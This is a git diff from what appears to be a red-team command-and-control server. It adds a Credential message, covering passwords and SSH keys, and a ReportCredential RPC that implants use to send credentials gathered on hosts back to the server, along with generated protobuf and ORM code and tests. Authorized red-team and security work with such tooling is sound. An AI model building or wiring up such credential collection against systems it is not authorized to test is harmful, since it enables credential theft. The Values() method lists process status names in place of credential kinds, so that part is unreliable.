-	0x48, 0x61, 0x73, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x07, 0x20,
-	0x01, 0x28, 0x0c, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x42, 0x22, 0x5a, 0x20, 0x72, 0x65,
-	0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69,
-	0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63, 0x32, 0x2f, 0x65, 0x70, 0x62, 0x62, 0x06,
-	0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xb4, 0x01,
+	0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x1c, 0x0a, 0x09,
+	0x70, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+	0x09, 0x70, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x65,
+	0x63, 0x72, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x65, 0x63, 0x72,
+	0x65, 0x74, 0x12, 0x2d, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e,
+	0x32, 0x19, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, 0x64,
+	0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x2e, 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, 0x6b, 0x69, 0x6e,
+	0x64, 0x22, 0x41, 0x0a, 0x04, 0x4b, 0x69, 0x6e, 0x64, 0x12, 0x14, 0x0a, 0x10, 0x4b, 0x49, 0x4e,
+	0x44, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12,
+	0x11, 0x0a, 0x0d, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
+	0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x4b, 0x49, 0x4e, 0x44, 0x5f, 0x53, 0x53, 0x48, 0x5f, 0x4b,
+	0x45, 0x59, 0x10, 0x02, 0x22, 0x8b, 0x04, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73,
+	0x12, 0x10, 0x0a, 0x03, 0x70, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x03, 0x70,
+	0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04,
+	0x52, 0x04, 0x70, 0x70, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03,
+	0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x72,
+	0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70,
+	0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68,
+	0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x10, 0x0a, 0x03,
+	0x63, 0x6d, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x63, 0x6d, 0x64, 0x12, 0x10,
+	0x0a, 0x03, 0x65, 0x6e, 0x76, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x65, 0x6e, 0x76,
+	0x12, 0x10, 0x0a, 0x03, 0x63, 0x77, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x63,
+	0x77, 0x64, 0x12, 0x30, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x09, 0x20, 0x01,
+	0x28, 0x0e, 0x32, 0x18, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72,
+	0x6f, 0x63, 0x65, 0x73, 0x73, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x06, 0x73, 0x74,
+	0x61, 0x74, 0x75, 0x73, 0x22, 0xab, 0x02, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12,
+	0x16, 0x0a, 0x12, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43,
+	0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x54, 0x41, 0x54, 0x55,
+	0x53, 0x5f, 0x55, 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x01, 0x12, 0x0f, 0x0a, 0x0b, 0x53,
+	0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0e, 0x0a, 0x0a,
+	0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x52, 0x55, 0x4e, 0x10, 0x03, 0x12, 0x10, 0x0a, 0x0c,
+	0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x53, 0x4c, 0x45, 0x45, 0x50, 0x10, 0x04, 0x12, 0x0f,
+	0x0a, 0x0b, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x53, 0x54, 0x4f, 0x50, 0x10, 0x05, 0x12,
+	0x11, 0x0a, 0x0d, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x5a, 0x4f, 0x4d, 0x42, 0x49, 0x45,
+	0x10, 0x06, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x54, 0x52, 0x41,
+	0x43, 0x49, 0x4e, 0x47, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53,
+	0x5f, 0x44, 0x45, 0x41, 0x44, 0x10, 0x08, 0x12, 0x14, 0x0a, 0x10, 0x53, 0x54, 0x41, 0x54, 0x55,
+	0x53, 0x5f, 0x57, 0x41, 0x4b, 0x45, 0x5f, 0x4b, 0x49, 0x4c, 0x4c, 0x10, 0x09, 0x12, 0x11, 0x0a,
+	0x0d, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x57, 0x41, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x0a,
+	0x12, 0x11, 0x0a, 0x0d, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x50, 0x41, 0x52, 0x4b, 0x45,
+	0x44, 0x10, 0x0b, 0x12, 0x17, 0x0a, 0x13, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x4c, 0x4f,
+	0x43, 0x4b, 0x5f, 0x42, 0x4c, 0x4f, 0x43, 0x4b, 0x45, 0x44, 0x10, 0x0c, 0x12, 0x24, 0x0a, 0x20,
+	0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x55, 0x4e, 0x49, 0x4e, 0x54, 0x45, 0x52, 0x55, 0x50,
+	0x54, 0x49, 0x42, 0x4c, 0x45, 0x5f, 0x44, 0x49, 0x53, 0x4b, 0x5f, 0x53, 0x4c, 0x45, 0x45, 0x50,
+	0x10, 0x0d, 0x22, 0x34, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73,
+	0x74, 0x12, 0x25, 0x0a, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,
+	0x11, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65,
+	0x73, 0x73, 0x52, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x22, 0xb6, 0x01, 0x0a, 0x04, 0x46, 0x69, 0x6c,
+	0x65, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+	0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x6f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x02,
+	0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x6f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x67,
+	0x72, 0x6f, 0x75, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x67, 0x72, 0x6f, 0x75,
+	0x70, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73,
+	0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69,
+	0x6f, 0x6e, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x73, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28,
+	0x04, 0x52, 0x04, 0x73, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0d, 0x73, 0x68, 0x61, 0x33, 0x5f,
+	0x32, 0x35, 0x36, 0x5f, 0x68, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b,
+	0x73, 0x68, 0x61, 0x33, 0x32, 0x35, 0x36, 0x48, 0x61, 0x73, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x63,
+	0x68, 0x75, 0x6e, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e,
+	0x6b, 0x42, 0x22, 0x5a, 0x20, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74,
+	0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x63,
+	0x32, 0x2f, 0x65, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var (
@@ -504,25 +628,28 @@ func file_eldritch_proto_rawDescGZIP() []byte {
 	return file_eldritch_proto_rawDescData
 }
 
-var file_eldritch_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
-var file_eldritch_proto_msgTypes = make([]protoimpl.MessageInfo, 5)
+var file_eldritch_proto_enumTypes = make([]protoimpl.EnumInfo, 2)
+var file_eldritch_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
 var file_eldritch_proto_goTypes = []interface{}{
-	(Process_Status)(0), // 0: eldritch.Process.Status
-	(*Tome)(nil),        // 1: eldritch.Tome
-	(*Process)(nil),     // 2: eldritch.Process
-	(*ProcessList)(nil), // 3: eldritch.ProcessList
-	(*File)(nil),        // 4: eldritch.File
-	nil,                 // 5: eldritch.Tome.ParametersEntry
+	(Credential_Kind)(0), // 0: eldritch.Credential.Kind
+	(Process_Status)(0),  // 1: eldritch.Process.Status
+	(*Tome)(nil),         // 2: eldritch.Tome
+	(*Credential)(nil),   // 3: eldritch.Credential
+	(*Process)(nil),      // 4: eldritch.Process
+	(*ProcessList)(nil),  // 5: eldritch.ProcessList
+	(*File)(nil),         // 6: eldritch.File
+	nil,                  // 7: eldritch.Tome.ParametersEntry
 }
 var file_eldritch_proto_depIdxs = []int32{
-	5, // 0: eldritch.Tome.parameters:type_name -> eldritch.Tome.ParametersEntry
-	0, // 1: eldritch.Process.status:type_name -> eldritch.Process.Status
-	2, // 2: eldritch.ProcessList.list:type_name -> eldritch.Process
-	3, // [3:3] is the sub-list for method output_type
-	3, // [3:3] is the sub-list for method input_type
-	3, // [3:3] is the sub-list for extension type_name
-	3, // [3:3] is the sub-list for extension extendee
-	0, // [0:3] is the sub-list for field type_name
+	7, // 0: eldritch.Tome.parameters:type_name -> eldritch.Tome.ParametersEntry
+	0, // 1: eldritch.Credential.kind:type_name -> eldritch.Credential.Kind
+	1, // 2: eldritch.Process.status:type_name -> eldritch.Process.Status
+	4, // 3: eldritch.ProcessList.list:type_name -> eldritch.Process
+	4, // [4:4] is the sub-list for method output_type
+	4, // [4:4] is the sub-list for method input_type
+	4, // [4:4] is the sub-list for extension type_name
+	4, // [4:4] is the sub-list for extension extendee
+	0, // [0:4] is the sub-list for field type_name
 }
 
 func init() { file_eldritch_proto_init() }
@@ -544,7 +671,7 @@ func file_eldritch_proto_init() {
 			}
 		}
 		file_eldritch_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*Process); i {
+			switch v := v.(*Credential); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -556,7 +683,7 @@ func file_eldritch_proto_init() {
 			}
 		}
 		file_eldritch_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
-			switch v := v.(*ProcessList); i {
+			switch v := v.(*Process); i {
 			case 0:
 				return &v.state
 			case 1:
@@ -568,6 +695,18 @@ func file_eldritch_proto_init() {
 			}
 		}
 		file_eldritch_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+			switch v := v.(*ProcessList); i {
+			case 0:
+				return &v.state
+			case 1:
+				return &v.sizeCache
+			case 2:
+				return &v.unknownFields
+			default:
+				return nil
+			}
+		}
+		file_eldritch_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
 			switch v := v.(*File); i {
 			case 0:
 				return &v.state
@@ -585,8 +724,8 @@ func file_eldritch_proto_init() {
 		File: protoimpl.DescBuilder{
 			GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
 			RawDescriptor: file_eldritch_proto_rawDesc,
-			NumEnums:      1,
-			NumMessages:   5,
+			NumEnums:      2,
+			NumMessages:   6,
 			NumExtensions: 0,
 			NumServices:   0,
 		},
diff --git a/tavern/internal/c2/epb/enum_credential_kind.go b/tavern/internal/c2/epb/enum_credential_kind.go
new file mode 100644
index 000000000..14f3757cb
--- /dev/null
+++ b/tavern/internal/c2/epb/enum_credential_kind.go
@@ -0,0 +1,69 @@
+package epb
+
+import (
+	"database/sql/driver"
+	"io"
+	"sort"
+
+	"github.com/99designs/gqlgen/graphql"
+)
+
+// Values provides list valid values for Enum.
+func (Credential_Kind) Values() []string {
+	values := make([]string, 0, len(Process_Status_name))
+	for _, name := range Process_Status_name {
+		values = append(values, name)
+	}
+	sort.Strings(values)
+	return values
+}
+
+// Value provides the DB a string from int.
+func (c Credential_Kind) Value() (driver.Value, error) {
+	return c.String(), nil
+}
+
+// Scan tells our code how to read the enum into our type.
+func (c *Credential_Kind) Scan(val any) error {
+	var name string
+	switch v := val.(type) {
+	case nil:
+		return nil
+	case string:
+		name = v
+	case []uint8:
+		name = string(v)
+	default:
+		*c = Credential_KIND_UNSPECIFIED
+		return nil
+	}
+
+	if name == "" {
+		*c = Credential_KIND_UNSPECIFIED
+		return nil
+	}
+
+	kind, ok := Credential_Kind_value[name]
+	if !ok {
+		*c = Credential_KIND_UNSPECIFIED
+		return nil
+	}
+	*c = Credential_Kind(kind)
+
+	return nil
+}
+
+// MarshalGQL writes a formatted string value for GraphQL.
+func (c Credential_Kind) MarshalGQL(w io.Writer) {
+	graphql.MarshalString(c.String()).MarshalGQL(w)
+}
+
+// UnmarshalGQL parses a GraphQL string representation into the enum.
+func (c *Credential_Kind) UnmarshalGQL(v interface{}) error {
+	str, err := graphql.UnmarshalString(v)
+	if err != nil {
+		return err
+	}
+
+	return c.Scan(str)
+}
diff --git a/tavern/internal/c2/epb/enum_credential_kind_test.go b/tavern/internal/c2/epb/enum_credential_kind_test.go
new file mode 100644
index 000000000..73ada576d
--- /dev/null
+++ b/tavern/internal/c2/epb/enum_credential_kind_test.go
@@ -0,0 +1,75 @@
+package epb_test
+
+import (
+	"bytes"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+	"realm.pub/tavern/internal/c2/epb"
+)
+
+func TestCredentialKindValues(t *testing.T) {
+	assert.NotEmpty(t, epb.Credential_Kind(0).Values())
+}
+
+func TestCredentialKindValue(t *testing.T) {
+	val, err := epb.Credential_Kind(0).Value()
+	require.NoError(t, err)
+	require.NotNil(t, val)
+}
+
+func TestCredentialKindMarshalGraphQL(t *testing.T) {
+	var buf bytes.Buffer
+	epb.Credential_Kind(0).MarshalGQL(&buf)
+	assert.Equal(t, `"KIND_UNSPECIFIED"`, buf.String())
+}
+
+func TestCredentialKindUnmarshalGraphQL(t *testing.T) {
+	var kind epb.Credential_Kind
+	assert.NoError(t, (*epb.Credential_Kind).UnmarshalGQL(&kind, `KIND_PASSWORD`))
+	assert.Equal(t, epb.Credential_KIND_PASSWORD, kind)
+}
+
+func TestCredentialKindScan(t *testing.T) {
+	tests := []struct {
+		name     string
+		scanVal  any
+		wantKind epb.Credential_Kind
+	}{
+		{
+			name:     "PASSWORD_String",
+			scanVal:  "KIND_PASSWORD",
+			wantKind: epb.Credential_KIND_PASSWORD,
+		},
+		{
+			name:     "SSH_KEY_[]uint8",
+			scanVal:  []uint8("KIND_SSH_KEY"),
+			wantKind: epb.Credential_KIND_SSH_KEY,
+		},
+		{
+			name:     "Invalid",
+			scanVal:  "NOT_A_KIND",
+			wantKind: epb.Credential_KIND_UNSPECIFIED,
+		},
+		{
+			name:     "Empty",
+			scanVal:  "",
+			wantKind: epb.Credential_KIND_UNSPECIFIED,
+		},
+		{
+			name:     "Nil",
+			scanVal:  nil,
+			wantKind: epb.Credential_KIND_UNSPECIFIED,
+		},
+	}
+
+	for _, tc := range tests {
+		t.Run(tc.name, func(t *testing.T) {
+			kind := epb.Credential_Kind(0)
+			err := (*epb.Credential_Kind).Scan(&kind, tc.scanVal)
+			assert.NoError(t, err)
+			assert.Equal(t, tc.wantKind, kind)
+		})
+	}
+}
diff --git a/tavern/internal/c2/proto/c2.proto b/tavern/internal/c2/proto/c2.proto
index 4699e6909..a3125cbfb 100644
--- a/tavern/internal/c2/proto/c2.proto
+++ b/tavern/internal/c2/proto/c2.proto
@@ -87,6 +87,12 @@ message DownloadFileResponse {
     bytes chunk = 1;
 }
 
+message ReportCredentialRequest {
+    int64 task_id = 1;
+    eldritch.Credential credential = 2;
+}
+message ReportCredentialResponse {}
+
 message ReportFileRequest {
     int64 task_id = 1;
     eldritch.File chunk = 2;
@@ -127,6 +133,11 @@ service C2 {
      */
      rpc DownloadFile(DownloadFileRequest) returns (stream DownloadFileResponse);
 
+    /*
+     * Report a credential from the host to the server.
+     */
+     rpc ReportCredential(ReportCredentialRequest) returns (ReportCredentialResponse);
+
     /*
      * Report a file from the host to the server.
      * Providing content of the file is optional. If content is provided:
diff --git a/tavern/internal/c2/proto/eldritch.proto b/tavern/internal/c2/proto/eldritch.proto
index 390e31507..da52915ca 100644
--- a/tavern/internal/c2/proto/eldritch.proto
+++ b/tavern/internal/c2/proto/eldritch.proto
@@ -12,6 +12,19 @@ message Tome {
     repeated string file_names = 3;
 }
 
+// Credential reported on the host system.
+message Credential {
+    string principal = 1;
+    string secret = 2;
+
+    enum Kind {
+        KIND_UNSPECIFIED = 0;
+        KIND_PASSWORD = 1;
+        KIND_SSH_KEY = 2;
+    }
+    Kind kind = 3;
+}
+
 // Process running on the host system.
 message Process {
     uint64 pid = 1;
@@ -54,7 +67,7 @@ message File {
     string owner = 2;
     string group = 3;
     string permissions = 4;
-    int64 size = 5;
+    uint64 size = 5;
     string sha3_256_hash = 6;
 
     bytes chunk = 7;
diff --git a/tavern/internal/ent/client.go b/tavern/internal/ent/client.go
index 13658a6f4..43f5637c0 100644
--- a/tavern/internal/ent/client.go
+++ b/tavern/internal/ent/client.go
@@ -18,6 +18,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -38,6 +39,8 @@ type Client struct {
 	File *FileClient
 	// Host is the client for interacting with the Host builders.
 	Host *HostClient
+	// HostCredential is the client for interacting with the HostCredential builders.
+	HostCredential *HostCredentialClient
 	// HostFile is the client for interacting with the HostFile builders.
 	HostFile *HostFileClient
 	// HostProcess is the client for interacting with the HostProcess builders.
@@ -70,6 +73,7 @@ func (c *Client) init() {
 	c.Beacon = NewBeaconClient(c.config)
 	c.File = NewFileClient(c.config)
 	c.Host = NewHostClient(c.config)
+	c.HostCredential = NewHostCredentialClient(c.config)
 	c.HostFile = NewHostFileClient(c.config)
 	c.HostProcess = NewHostProcessClient(c.config)
 	c.Quest = NewQuestClient(c.config)
@@ -160,18 +164,19 @@ func (c *Client) Tx(ctx context.Context) (*Tx, error) {
 	cfg := c.config
 	cfg.driver = tx
 	return &Tx{
-		ctx:         ctx,
-		config:      cfg,
-		Beacon:      NewBeaconClient(cfg),
-		File:        NewFileClient(cfg),
-		Host:        NewHostClient(cfg),
-		HostFile:    NewHostFileClient(cfg),
-		HostProcess: NewHostProcessClient(cfg),
-		Quest:       NewQuestClient(cfg),
-		Tag:         NewTagClient(cfg),
-		Task:        NewTaskClient(cfg),
-		Tome:        NewTomeClient(cfg),
-		User:        NewUserClient(cfg),
+		ctx:            ctx,
+		config:         cfg,
+		Beacon:         NewBeaconClient(cfg),
+		File:           NewFileClient(cfg),
+		Host:           NewHostClient(cfg),
+		HostCredential: NewHostCredentialClient(cfg),
+		HostFile:       NewHostFileClient(cfg),
+		HostProcess:    NewHostProcessClient(cfg),
+		Quest:          NewQuestClient(cfg),
+		Tag:            NewTagClient(cfg),
+		Task:           NewTaskClient(cfg),
+		Tome:           NewTomeClient(cfg),
+		User:           NewUserClient(cfg),
 	}, nil
 }
 
@@ -189,18 +194,19 @@ func (c *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error)
 	cfg := c.config
 	cfg.driver = &txDriver{tx: tx, drv: c.driver}
 	return &Tx{
-		ctx:         ctx,
-		config:      cfg,
-		Beacon:      NewBeaconClient(cfg),
-		File:        NewFileClient(cfg),
-		Host:        NewHostClient(cfg),
-		HostFile:    NewHostFileClient(cfg),
-		HostProcess: NewHostProcessClient(cfg),
-		Quest:       NewQuestClient(cfg),
-		Tag:         NewTagClient(cfg),
-		Task:        NewTaskClient(cfg),
-		Tome:        NewTomeClient(cfg),
-		User:        NewUserClient(cfg),
+		ctx:            ctx,
+		config:         cfg,
+		Beacon:         NewBeaconClient(cfg),
+		File:           NewFileClient(cfg),
+		Host:           NewHostClient(cfg),
+		HostCredential: NewHostCredentialClient(cfg),
+		HostFile:       NewHostFileClient(cfg),
+		HostProcess:    NewHostProcessClient(cfg),
+		Quest:          NewQuestClient(cfg),
+		Tag:            NewTagClient(cfg),
+		Task:           NewTaskClient(cfg),
+		Tome:           NewTomeClient(cfg),
+		User:           NewUserClient(cfg),
 	}, nil
 }
 
@@ -230,8 +236,8 @@ func (c *Client) Close() error {
 // In order to add hooks to a specific client, call: `client.Node.Use(...)`.
 func (c *Client) Use(hooks ...Hook) {
 	for _, n := range []interface{ Use(...Hook) }{
-		c.Beacon, c.File, c.Host, c.HostFile, c.HostProcess, c.Quest, c.Tag, c.Task,
-		c.Tome, c.User,
+		c.Beacon, c.File, c.Host, c.HostCredential, c.HostFile, c.HostProcess, c.Quest,
+		c.Tag, c.Task, c.Tome, c.User,
 	} {
 		n.Use(hooks...)
 	}
@@ -241,8 +247,8 @@ func (c *Client) Use(hooks ...Hook) {
 // In order to add interceptors to a specific client, call: `client.Node.Intercept(...)`.
 func (c *Client) Intercept(interceptors ...Interceptor) {
 	for _, n := range []interface{ Intercept(...Interceptor) }{
-		c.Beacon, c.File, c.Host, c.HostFile, c.HostProcess, c.Quest, c.Tag, c.Task,
-		c.Tome, c.User,
+		c.Beacon, c.File, c.Host, c.HostCredential, c.HostFile, c.HostProcess, c.Quest,
+		c.Tag, c.Task, c.Tome, c.User,
 	} {
 		n.Intercept(interceptors...)
 	}
@@ -257,6 +263,8 @@ func (c *Client) Mutate(ctx context.Context, m Mutation) (Value, error) {
 		return c.File.mutate(ctx, m)
 	case *HostMutation:
 		return c.Host.mutate(ctx, m)
+	case *HostCredentialMutation:
+		return c.HostCredential.mutate(ctx, m)
 	case *HostFileMutation:
 		return c.HostFile.mutate(ctx, m)
 	case *HostProcessMutation:
@@ -763,6 +771,22 @@ func (c *HostClient) QueryProcesses(h *Host) *HostProcessQuery {
 	return query
 }
 
+// QueryCredentials queries the credentials edge of a Host.
+func (c *HostClient) QueryCredentials(h *Host) *HostCredentialQuery {
+	query := (&HostCredentialClient{config: c.config}).Query()
+	query.path = func(context.Context) (fromV *sql.Selector, _ error) {
+		id := h.ID
+		step := sqlgraph.NewStep(
+			sqlgraph.From(host.Table, host.FieldID, id),
+			sqlgraph.To(hostcredential.Table, hostcredential.FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, true, host.CredentialsTable, host.CredentialsColumn),
+		)
+		fromV = sqlgraph.Neighbors(h.driver.Dialect(), step)
+		return fromV, nil
+	}
+	return query
+}
+
 // Hooks returns the client hooks.
 func (c *HostClient) Hooks() []Hook {
 	return c.hooks.Host
@@ -788,6 +812,171 @@ func (c *HostClient) mutate(ctx context.Context, m *HostMutation) (Value, error)
 	}
 }
 
+// HostCredentialClient is a client for the HostCredential schema.
+type HostCredentialClient struct {
+	config
+}
+
+// NewHostCredentialClient returns a client for the HostCredential from the given config.
+func NewHostCredentialClient(c config) *HostCredentialClient {
+	return &HostCredentialClient{config: c}
+}
+
+// Use adds a list of mutation hooks to the hooks stack.
+// A call to `Use(f, g, h)` equals to `hostcredential.Hooks(f(g(h())))`.
+func (c *HostCredentialClient) Use(hooks ...Hook) {
+	c.hooks.HostCredential = append(c.hooks.HostCredential, hooks...)
+}
+
+// Intercept adds a list of query interceptors to the interceptors stack.
+// A call to `Intercept(f, g, h)` equals to `hostcredential.Intercept(f(g(h())))`.
+func (c *HostCredentialClient) Intercept(interceptors ...Interceptor) {
+	c.inters.HostCredential = append(c.inters.HostCredential, interceptors...)
+}
+
+// Create returns a builder for creating a HostCredential entity.
+func (c *HostCredentialClient) Create() *HostCredentialCreate {
+	mutation := newHostCredentialMutation(c.config, OpCreate)
+	return &HostCredentialCreate{config: c.config, hooks: c.Hooks(), mutation: mutation}
+}
+
+// CreateBulk returns a builder for creating a bulk of HostCredential entities.
+func (c *HostCredentialClient) CreateBulk(builders ...*HostCredentialCreate) *HostCredentialCreateBulk {
+	return &HostCredentialCreateBulk{config: c.config, builders: builders}
+}
+
+// MapCreateBulk creates a bulk creation builder from the given slice. For each item in the slice, the function creates
+// a builder and applies setFunc on it.
+func (c *HostCredentialClient) MapCreateBulk(slice any, setFunc func(*HostCredentialCreate, int)) *HostCredentialCreateBulk {
+	rv := reflect.ValueOf(slice)
+	if rv.Kind() != reflect.Slice {
+		return &HostCredentialCreateBulk{err: fmt.Errorf("calling to HostCredentialClient.MapCreateBulk with wrong type %T, need slice", slice)}
+	}
+	builders := make([]*HostCredentialCreate, rv.Len())
+	for i := 0; i < rv.Len(); i++ {
+		builders[i] = c.Create()
+		setFunc(builders[i], i)
+	}
+	return &HostCredentialCreateBulk{config: c.config, builders: builders}
+}
+
+// Update returns an update builder for HostCredential.
+func (c *HostCredentialClient) Update() *HostCredentialUpdate {
+	mutation := newHostCredentialMutation(c.config, OpUpdate)
+	return &HostCredentialUpdate{config: c.config, hooks: c.Hooks(), mutation: mutation}
+}
+
+// UpdateOne returns an update builder for the given entity.
+func (c *HostCredentialClient) UpdateOne(hc *HostCredential) *HostCredentialUpdateOne {
+	mutation := newHostCredentialMutation(c.config, OpUpdateOne, withHostCredential(hc))
+	return &HostCredentialUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation}
+}
+
+// UpdateOneID returns an update builder for the given id.
+func (c *HostCredentialClient) UpdateOneID(id int) *HostCredentialUpdateOne {
+	mutation := newHostCredentialMutation(c.config, OpUpdateOne, withHostCredentialID(id))
+	return &HostCredentialUpdateOne{config: c.config, hooks: c.Hooks(), mutation: mutation}
+}
+
+// Delete returns a delete builder for HostCredential.
+func (c *HostCredentialClient) Delete() *HostCredentialDelete {
+	mutation := newHostCredentialMutation(c.config, OpDelete)
+	return &HostCredentialDelete{config: c.config, hooks: c.Hooks(), mutation: mutation}
+}
+
+// DeleteOne returns a builder for deleting the given entity.
